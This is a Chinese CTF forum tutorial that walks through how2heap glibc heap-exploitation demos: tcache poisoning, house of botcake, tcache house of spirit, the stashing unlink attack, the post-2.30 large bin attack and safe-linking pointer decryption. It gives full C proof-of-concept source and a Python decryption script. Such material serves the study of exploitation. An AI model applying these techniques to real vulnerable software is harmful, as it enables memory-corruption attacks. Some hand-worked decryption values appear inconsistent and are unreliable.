吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2574|回复: 4
收起左侧

[CTF] how2heap全集及例题详细解析(5~6部分)

[复制链接]
R00tkit 发表于 2023-10-16 18:40

第五部分前言

第五部分开始使用 ubuntu:18.04 编译。Tcache 基础请看 Tcache安全机制及赛题详细解析(gundam && House of Atum)

fastbin_reverse_into_tcache

源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
  setbuf(stdout, NULL);

  printf(
    "\n"
    "This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
    "except it works with a small allocation size (allocsize <= 0x78).\n"
    "The goal is to set things up so that a call to malloc(allocsize) will write\n"
    "a large unsigned value to the stack.\n\n"
  );

  // Allocate 14 times so that we can free later.
  char* ptrs[14];
  size_t i;
  for (i = 0; i < 14; i++) {
    ptrs[i] = malloc(allocsize);
  }

  printf(
    "First we need to free(allocsize) at least 7 times to fill the tcache.\n"
    "(More than 7 times works fine too.)\n\n"
  );

  // Fill the tcache.
  for (i = 0; i < 7; i++) {
    free(ptrs[i]);
  }

  char* victim = ptrs[7];
  printf(
    "The next pointer that we free is the chunk that we're going to corrupt: %p\n"
    "It doesn't matter if we corrupt it now or later. Because the tcache is\n"
    "already full, it will go in the fastbin.\n\n",
    victim
  );
  free(victim);

  printf(
    "Next we need to free between 1 and 6 more pointers. These will also go\n"
    "in the fastbin. If the stack address that we want to overwrite is not zero\n"
    "then we need to free exactly 6 more pointers, otherwise the attack will\n"
    "cause a segmentation fault. But if the value on the stack is zero then\n"
    "a single free is sufficient.\n\n"
  );

  // Fill the fastbin.
  for (i = 8; i < 14; i++) {
    free(ptrs[i]);
  }

  // Create an array on the stack and initialize it with garbage.
  size_t stack_var[6];
  memset(stack_var, 0xcd, sizeof(stack_var));

  printf(
    "The stack address that we intend to target: %p\n"
    "It's current value is %p\n",
    &stack_var[2],
    (char*)stack_var[2]
  );

  printf(
    "Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
    "to overwrite the next pointer at address %p\n\n",
    victim
  );

  //------------VULNERABILITY-----------

  // Overwrite linked list pointer in victim.
  *(size_t**)victim = &stack_var[0];

  //------------------------------------

  printf(
    "The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n"
  );

  // Empty tcache.
  for (i = 0; i < 7; i++) {
    ptrs[i] = malloc(allocsize);
  }

  printf(
    "Let's just print the contents of our array on the stack now,\n"
    "to show that it hasn't been modified yet.\n\n"
  );

  for (i = 0; i < 6; i++) {
    printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
  }

  printf(
    "\n"
    "The next allocation triggers the stack to be overwritten. The tcache\n"
    "is empty, but the fastbin isn't, so the next allocation comes from the\n"
    "fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
    "Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
    "address that we are targeting ends up being the first chunk in the tcache.\n"
    "It contains a pointer to the next chunk in the list, which is why a heap\n"
    "pointer is written to the stack.\n"
    "\n"
    "Earlier we said that the attack will also work if we free fewer than 6\n"
    "extra pointers to the fastbin, but only if the value on the stack is zero.\n"
    "That's because the value on the stack is treated as a next pointer in the\n"
    "linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
    "\n"
    "The contents of our array on the stack now look like this:\n\n"
  );

  malloc(allocsize);

  for (i = 0; i < 6; i++) {
    printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
  }

  char *q = malloc(allocsize);
  printf(
    "\n"
    "Finally, if we malloc one more time then we get the stack address back: %p\n",
    q
  );

  assert(q == (char *)&stack_var[2]);

  return 0;
}

调试

1

1

2

2

3

3

4

4

首先申请 14chunk ,先后将 tcachefastbinY[4] 填满。其中 victim 指向第 8chunk 也就是 fastbinY[4] 的最后一个 chunk_ptrs[7]

5

5

6

6

victim(ptrs[7]_fd) 指向 stack_var[0] 的位置,然后将 tcache 清空。

7

7

8

8

这次 malloc 将会先从 fastbin 头部取出一个 chunk,然后把 fastbin 清空,放入tcache中,因为 fastbin 取出时从头开始,tcache 又是 FIFO 结构, 所以放入 tcache 是倒序的,把 stack_var 也算做了一个 chunk,所以是满 7 个。

9

9

10

10

此时再去申请一个 0x50 大小的 chunk 将会把 stack_var 取出来,此时 q == stack_var[2]

house_of_botcake

libc-2.29 新增加double free检查,方法是在 tcache_entry 结构体中新增加标志位 key 来检查 chunk 是否在 tcache bin 中。当 free 掉一个堆块进入 tcache 时,假如堆块的 bk 位存放的key == tcache_key, 就会遍历这个大小的 Tcache ,假如发现同地址的堆块,则触发 double Free 报错。因为 chunkkey 保存在 bk 位置,只需将其修改即可绕过 double free 检查。而 house_of_botcake 是另一种方法。

源码

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
    /*
     * This attack should bypass the restriction introduced in
     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
     * If the libc does not include the restriction, you can simply double free the victim and do a
     * simple tcache poisoning
     * And thanks to @anton00b and @subwire for the weird name of this technique */

    // disable buffering so _IO_FILE does not interfere with our heap
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // introduction
    puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
    puts("returning a pointer to an arbitrary location (in this demo, the stack).");
    puts("This attack only relies on double free.\n");

    // prepare the target
    intptr_t stack_var[4];
    puts("The address we want malloc() to return, namely,");
    printf("the target address is %p.\n\n", stack_var);

    // prepare heap layout
    puts("Preparing heap layout");
    puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }
    puts("Allocating a chunk for later consolidation");
    intptr_t *prev = malloc(0x100);
    puts("Allocating the victim chunk.");
    intptr_t *a = malloc(0x100);
    printf("malloc(0x100): a=%p.\n", a); 
    puts("Allocating a padding to prevent consolidation.\n");
    malloc(0x10);

    // cause chunk overlapping
    puts("Now we are able to cause chunk overlapping");
    puts("Step 1: fill up tcache list");
    for(int i=0; i<7; i++){
        free(x[i]);
    }
    puts("Step 2: free the victim chunk so it will be added to unsorted bin");
    free(a);

    puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
    free(prev);

    puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
    malloc(0x100);
    /*VULNERABILITY*/
    free(a);// a is already freed
    /*VULNERABILITY*/

    // simple tcache poisoning
    puts("Launch tcache poisoning");
    puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");
    intptr_t *b = malloc(0x120);
    puts("We simply overwrite victim's fwd pointer");
    b[0x120/8-2] = (long)stack_var;

    // take target out
    puts("Now we can cash out the target chunk.");
    malloc(0x100);
    intptr_t *c = malloc(0x100);
    printf("The new chunk is at %p\n", c);

    // sanity check
    assert(c==stack_var);
    printf("Got control on target/stack!\n\n");

    // note
    puts("Note:");
    puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");
    puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");

    return 0;
}

调试

11

11

12

12

13

13

首先申请9non-fast_chunk 和一个 obstruct-chunk ,将 tcache  填满,剩余两个放入 unsorted_bin,因为 aprev相邻,所以会被整合在一起。

14

14

15

15

16

16

tcache 头部取出一个 chunk ,然后再次 free(a),此时 chunk_a 同时出现在了 unsorted_bintcache 中。

17

17

18

18

19

19

此时申请 0x120 大小的 chunkunsorted_bin 中包含 chunk_a_fdchunk 申请出来,我们就可以修改 tcachechunk_a 的下一个链接进来的 chunk 为我们伪造的 chunk,在申请两次用户区为 0x100 大小的 chunk 就可以将我们伪造的 chunk 申请出来。

tcache_house_of_spirit

源码

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
    setbuf(stdout, NULL);

    printf("This file demonstrates the house of spirit attack on tcache.\n");
    printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
    printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
    printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");

    printf("Ok. Let's start with the example!.\n\n");

    printf("Calling malloc() once so that it sets up its memory.\n");
    malloc(1);

    printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
    unsigned long long *a; //pointer that will be overwritten
    unsigned long long fake_chunks[10]; //fake chunk region

    printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

    printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
    printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
    fake_chunks[1] = 0x40; // this is the size

    printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
    printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

    a = &fake_chunks[2];

    printf("Freeing the overwritten pointer.\n");
    free(a);

    printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
    void *b = malloc(0x30);
    printf("malloc(0x30): %p\n", b);

    assert((long)b == (long)&fake_chunks[2]);
}

调试

20

20

21

21

这种利用能够方法很简单,只需要将 fake_chunks_size=0x40,然后 free(fake_chunk) 即可将其放入到 tcache 中,再去申请 0x30 大小的 chunk 即可将其申请出来。

tcache_poisoning

源码

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
    // disable buffering
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
           "returning a pointer to an arbitrary location (in this case, the stack).\n"
           "The attack is very similar to fastbin corruption attack.\n");
    printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
           "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");

    size_t stack_var;
    printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

    printf("Allocating 2 buffers.\n");
    intptr_t *a = malloc(128);
    printf("malloc(128): %p\n", a);
    intptr_t *b = malloc(128);
    printf("malloc(128): %p\n", b);

    printf("Freeing the buffers...\n");
    free(a);
    free(b);

    printf("Now the tcache list has [ %p -> %p ].\n", b, a);
    printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
           "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
    b[0] = (intptr_t)&stack_var;
    printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

    printf("1st malloc(128): %p\n", malloc(128));
    printf("Now the tcache list has [ %p ].\n", &stack_var);

    intptr_t *c = malloc(128);
    printf("2nd malloc(128): %p\n", c);
    printf("We got the control\n");

    assert((long)&stack_var == (long)c);
    return 0;
}

调试

22

22

23

23

24

24

25

25

申请同样大小的 a,b 两个 chunk,并将其放在 tcache 中。然后将后进入的 chunk_b_fd 改为 stack_var_fd,这样就能将其链接进 tcachetcache 的数量为 2,可以申请两个 chunk 出来。 在 2.29 以后,如果 tcache 的数量为 0,就算 tcache 中有 free_chunk 也不会将其取出来,所以我们确保 tcache 的数量为 2,这样就能取出两个 chunk

利用 calloc 可以越过 tcachechunk 的特点结合 house of lore 进行的攻击手段,可以向任意地址写入任意值,也可以申请任意地址。

源码

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;

    setbuf(stdout, NULL);

    printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
    printf("This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n");
    printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
    printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
    printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

    // stack_var emulate the fake_chunk we want to alloc to
    printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
    printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

    stack_var[3] = (unsigned long)(&stack_var[2]);

    printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
    printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
    printf("Now we alloc 9 chunks with malloc.\n\n");

    //now we malloc 9 chunks
    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }

    //put 7 chunks into tcache
    printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }

    printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

    //last tcache bin
    free(chunk_lis[1]);
    //now they are put into unsorted bin
    free(chunk_lis[0]);
    free(chunk_lis[2]);

    //convert into small bin
    printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

    malloc(0xa0);// size > 0x90

    //now 5 tcache bins
    printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

    malloc(0x90);
    malloc(0x90);

    printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

    //change victim->bck
    /*VULNERABILITY*/
    chunk_lis[2][1] = (unsigned long)stack_var;
    /*VULNERABILITY*/

    //trigger the attack
    printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

    calloc(1,0x90);

    printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

    //malloc and return our fake chunk on stack
    target = malloc(0x90);   

    printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);

    assert(target == &stack_var[2]);
    return 0;
}

基础知识

#if USE_TCACHE //如果程序启用了Tcache
        /* While we're here, if we see other chunks of the same size,
        stash them in the tcache.  */
        //遍历整个smallbin,获取相同size的free chunk
        size_t tc_idx = csize2tidx (nb);
        if (tcache && tc_idx < mp_.tcache_bins)
        {
            mchunkptr tc_victim;
            /* While bin not empty and tcache not full, copy chunks over.  */
            //判定Tcache的size链表是否已满,并且取出smallbin的末尾Chunk。
            //验证取出的Chunk是否为Bin本身(Smallbin是否已空)
            while ( tcache->counts[tc_idx] < mp_.tcache_count
                   && (tc_victim = last (bin) ) != bin)
            {
                //如果成功获取了Chunk
                if (tc_victim != 0)
                {
                    // 获取 small bin 中倒数第二个 chunk 。
                    bck = tc_victim->bk;
                    //设置标志位
                    set_inuse_bit_at_offset (tc_victim, nb);
                    // 如果不是 main_arena,设置对应的标志
                    if (av != &main_arena)
                        set_non_main_arena (tc_victim);
                    //取出最后一个Chunk
                    bin->bk = bck;
                    bck->fd = bin;
                    //将其放入到Tcache中
                    tcache_put (tc_victim, tc_idx);
                }
            }
        }
#endif

可以看到,这种攻击手段并没有经过 house of lore 的需要经过的验证,即没有这一个要求 bck->fd == victim

调试

26

26

目标地址的 stack_var_bk == stack_var_fd,为了后续将 fake_chunkbk 指针指向一块可写的内存,绕过 glibc 在摘链表时候的检查,样例中我们在 small_bin 中摘取两个 chunk 放入 tcachetcache便已经满了,不会再去索取 fake_chunk_bk

27

27

28

28

29

29

申请 90x90 大小的 chunk,将 3~86chunk 放进 tcache 中, 然后依次释放 1,0,2 三个 chunk1 将会进入 tcache 中,0,2 进入 unsorted,因为不相邻,所以不会触发合并。

30

30

31

31

malloc(0xa0) 将会触发整理机制,将 unsorted_bin 中的 chunk 放进 small_bin

32

32

接下来在 tcache 中腾出两个位置,为后续放入 small_bin chunk 做准备。

33

33

34

34

small_bin 中倒数第二个 chunk_bk 指向 stack_var,为后续将 chunk 放入 tcache 中做索引。

35

35

36

36

利用 calloc(1,0x90)small_bin 中最后一个 chunk 拿出来,然后触发整理机制,将 small_bin 中剩余的 chunk 倒序取出放入 tcache,也就是按 bk 去索引。

37

37

38

38

此时再次申请将会把目标地址的fake_chunk申请出来。

第六部分前言

large_bin_attack (glibc > 2.29)

本次使用 ubuntu:20.04

源码

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

/*

A revisit to large bin attack for after glibc2.30

Relevant code snippet :

    if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
        fwd = bck;
        bck = bck->bk;
        victim->fd_nextsize = fwd->fd;
        victim->bk_nextsize = fwd->fd->bk_nextsize;
        fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
    }

*/

int main(){
  /*Disable IO buffering to prevent stream from interfering with heap*/
  setvbuf(stdin,NULL,_IONBF,0);
  setvbuf(stdout,NULL,_IONBF,0);
  setvbuf(stderr,NULL,_IONBF,0);

  printf("\n\n");
  printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
  printf("Check 1 : \n");
  printf(">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
  printf(">        malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
  printf("Check 2 : \n");
  printf(">    if (bck->fd != fwd)\n");
  printf(">        malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
  printf("This prevents the traditional large bin attack\n");
  printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");

  printf("====================================================================\n\n");

  size_t target = 0;
  printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);
  size_t *p1 = malloc(0x428);
  printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
  size_t *g1 = malloc(0x18);
  printf("And another chunk to prevent consolidate\n");

  printf("\n");

  size_t *p2 = malloc(0x418);
  printf("We also allocate a second large chunk [p2]  (%p).\n",p2-2);
  printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
  size_t *g2 = malloc(0x18);
  printf("Once again, allocate a guard chunk to prevent consolidate\n");

  printf("\n");

  free(p1);
  printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
  size_t *g3 = malloc(0x438);
  printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");

  printf("\n");

  free(p2);
  printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
  printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
  printf("               and one chunk in unsorted bin [p2] (%p)\n",p2-2);

  printf("\n");

  p1[3] = (size_t)((&target)-4);
  printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);

  printf("\n");

  size_t *g4 = malloc(0x438);
  printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
  printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
  printf("  the modified p1->bk_nextsize does not trigger any error\n");
  printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);

  printf("\n");

  printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
  printf("Target (%p) : %p\n",&target,(size_t*)target);

  printf("\n");
  printf("====================================================================\n\n");

  assert((size_t)(p2-2) == target);

  return 0;
}

基础知识

glibc-2.30 新增了两道检查:

// largebin_chunk->bk_nextsize->fd_nextszie != largebin_chunk
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
    malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
// largebin_chunk->bk->fd != largebin_chunk
if (bck->fd != fwd)
    malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

利用代码:

if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) {
    fwd = bck;
    bck = bck->bk;
    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize;
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}

调试

39

39

布置堆结构如上,图中从上到下chunk分别为 p1, g1, p2, g2

40

40

41

41

chunk_p1 放进 largebin,将 chunk_p2 放进 unsorted_bin(largebin)p1_size > (unsorted)p2_size

42

42

43

43

修改p1_bk_nextsize = target-0x20,也就是fake_chunk_fd_nextsize

44

44

然后申请 0x438 大小的 chunk,触发整理机制将 chunk_p2 链接进 largebin,因为 p2_size < (largebin_least)p1,会触发如下代码。

// victim:p2, fwd:largebin表头, bck:largebin_least_chunk(p1)
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) {
    fwd = bck;
    bck = bck->bk; 
    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize;
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
  1. p2->fd_nextsize = p1;

  2. p2->bk_nextsize = (target-0x20)p1->bk_nextsize;

  3. (target-0x20)p1->bk_nextsize = target = p2;

    第三步时将 (target)fake_chunk_fd_nextsize 改为了 p2_prev

    image-20231015204706099

最后目标地址被成功修改为一个大数。写大数的行为,可以用来修改global_max_fast

decrypt_safe_linking(glibc > 2.31)

本次使用 ubuntu:22.04 进行编译。

源码

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

long decrypt(long cipher)
{
    puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,");
    puts("because of the 12bit sliding.");
    puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)");
    long key = 0;
    long plain;

    for(int i=1; i<6; i++) {
        int bits = 64-12*i;
        if(bits < 0) bits = 0;
        plain = ((cipher ^ key) >> bits) << bits;
        key = plain >> 12;
        printf("round %d:\n", i);
        printf("key:    %#016lx\n", key);
        printf("plain:  %#016lx\n", plain);
        printf("cipher: %#016lx\n\n", cipher);
    }
    return plain;
}

int main()
{
    /*
     * This technique demonstrates how to recover the original content from a poisoned
     * value because of the safe-linking mechanism.
     * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known
     * and the key (ASLR slide) is the same to the pointer's leading bits.
     * As a result, as long as the chunk where the pointer is stored is at the same page
     * of the pointer itself, the value of the pointer can be fully recovered.
     * Otherwise, we can also recover the pointer with the page-offset between the storer
     * and the pointer. What we demonstrate here is a special case whose page-offset is 0.
     * For demonstrations of other more general cases, plz refer to
     * https://github.com/n132/Dec-Safe-Linking
     */

    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // step 1: allocate chunks
    long *a = malloc(0x20);
    long *b = malloc(0x20);
    printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b);
    malloc(0x10);
    puts("And then create a padding chunk to prevent consolidation.");

    // step 2: free chunks
    puts("Now free chunk a and then free chunk b.");
    free(a);
    free(b);
    printf("Now the freelist is: [%p -> %p]\n", b, a);
    printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]);

    // step 3: recover the values
    puts("Now decrypt the poisoned value");
    long plaintext = decrypt(b[0]);

    printf("value: %p\n", a);
    printf("recovered value: %#lx\n", plaintext);
    assert(plaintext == (long)a);
}

基础知识

tcache_next(fd) 新增检查:

// 加密
#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
// 解密
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)
/*
* 原理: A:fd;B:(pos>>12);C:(ptr); A=B^C; C=A^B;
*/

45

45

P 表示将保存在空闲块的 fd 字段中的指针值。L 表示 fd 字段本身的地址。L>>12L 的右移值,用于对 P 进行异或运算,从而产生一个编码指针P'Safe Linking 将这个P'值存储在 fd 字段中。

46

46

47

47

48

48

bypass safe-linking机制需要用到 uaf或者 double free 之类的漏洞, 同时释放 tcache到一个空闲 tacahe bin中, 此时由于tcache bin 中没有空闲chunk, tcache->entry[tc_idx]=0,若存在 uaf 或者 double free,可以泄露出 leak_addr= (&tcache_chunk->fd)>>12 位置, 则 heap_base=leak_addr<<12double free 需要将 tcache_chunk_bk 改为 0,绕过检查。对于 2.32及以后的 glibc 版本的 tcache_poisoning 需要将 target 地址进行加密。

调试

49

49

50

50

申请a,b两个 tcache_chunk,最后一个 chunk_0x10 用于隔离,下面解析 b_fd

  • 解密脚本:
def decrypt(cipher):
    key=0
    plain=0
    for i in range(1,6):
        bits= 64-12*(i)
        if(bits<0):
            bits=0
        plain = ((cipher ^ key) >> bits) << bits
        key = plain >> 12
        print("round %d:\n"%(i))
        print("key:    %#016lx\n"%key)
        print("plain:  %#016lx\n"%plain)
        print("cipher: %#016lx\n\n"%cipher)
  • 原理:

前置:

P:0x0000_555_555_55b_2a0; L:0x0000_555_555_55b_2d0; L>>12:0x0000_000_555_555_55b; p':0x0000_555_000_00e_7fb

(0x55555555b2d0 >> 12) = 0x55555555B; 0x55555555b2a0 ^ 0x55555555B = 0x55500000E7FB;

步骤:

P ^ (L >> 12);。 此时 L12 位为 0,而 P12 位为 0x555,异或时将保留 0x0000_555,而异或操作又是可逆的,所以用保留的 0x0000_555_000_000_000 和 低位 0x0000_000_555_000_000 取异或即可得到低三位的真实地址,以此类推有了以下步骤。

bits = 52;

key = 0;

plain = ((0x0000_555_000_00e_7fb ^ 0) >> 52) << 52 = 0x000_000_000_000_0000;

key = plain >> 12 = 0;

bits = 40;

key = 0;

plain = ((0x0000_555_000_00e_7fb ^ 0) >> 40) << 40 = 0x000_055_000_000_0000;

key = plain >> 12 = 0x000_000_055_000_000_0

bits = 28;

key = 0x000_000_055_000_000_0;

plain = ((0x000_055_500_000_e7fb ^ 0x000_000_055_000_000_0) >> 28) << 28 = 0x000_055_555_000_0000

key = plain >> 12 = 0x000_000_055_555_0000;

bits = 16;

key = 0x000_000_055_555_0000;

plain = ((0x000_055_500_000_e7fb ^ 0x000_000_055_555_0000) >> 28) << 28 = 0x000_055_555_555_0000

key = plain >> 12 = 0x000_000_055_555_5550;

bits = 4;

key = 0x000_000_055_555_5550;

plain = ((0x000_055_500_000_e7fb ^ 0x000_000_055_555_5550) >> 28) << 28 = 0x000_055_555_555_b2a0

key = plain >> 12 = 0x000_055_555_555_b;


免费评分

参与人数 5威望 +1 吾爱币 +22 热心值 +5 收起 理由
笙若 + 1 + 1 谢谢@Thanks!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Gaussmoon + 1 谢谢@Thanks!
zyz1234 + 1 热心回复!
daoye9988 + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

daoye9988 发表于 2023-10-16 20:40
下班学习时间,围观一下
任国富 发表于 2023-10-16 22:12
zjdcpa 发表于 2023-10-16 22:38
头像被屏蔽
86618513 发表于 2023-10-17 07:01
提示: 作者被禁止或删除 内容自动屏蔽
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-23 15:11

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表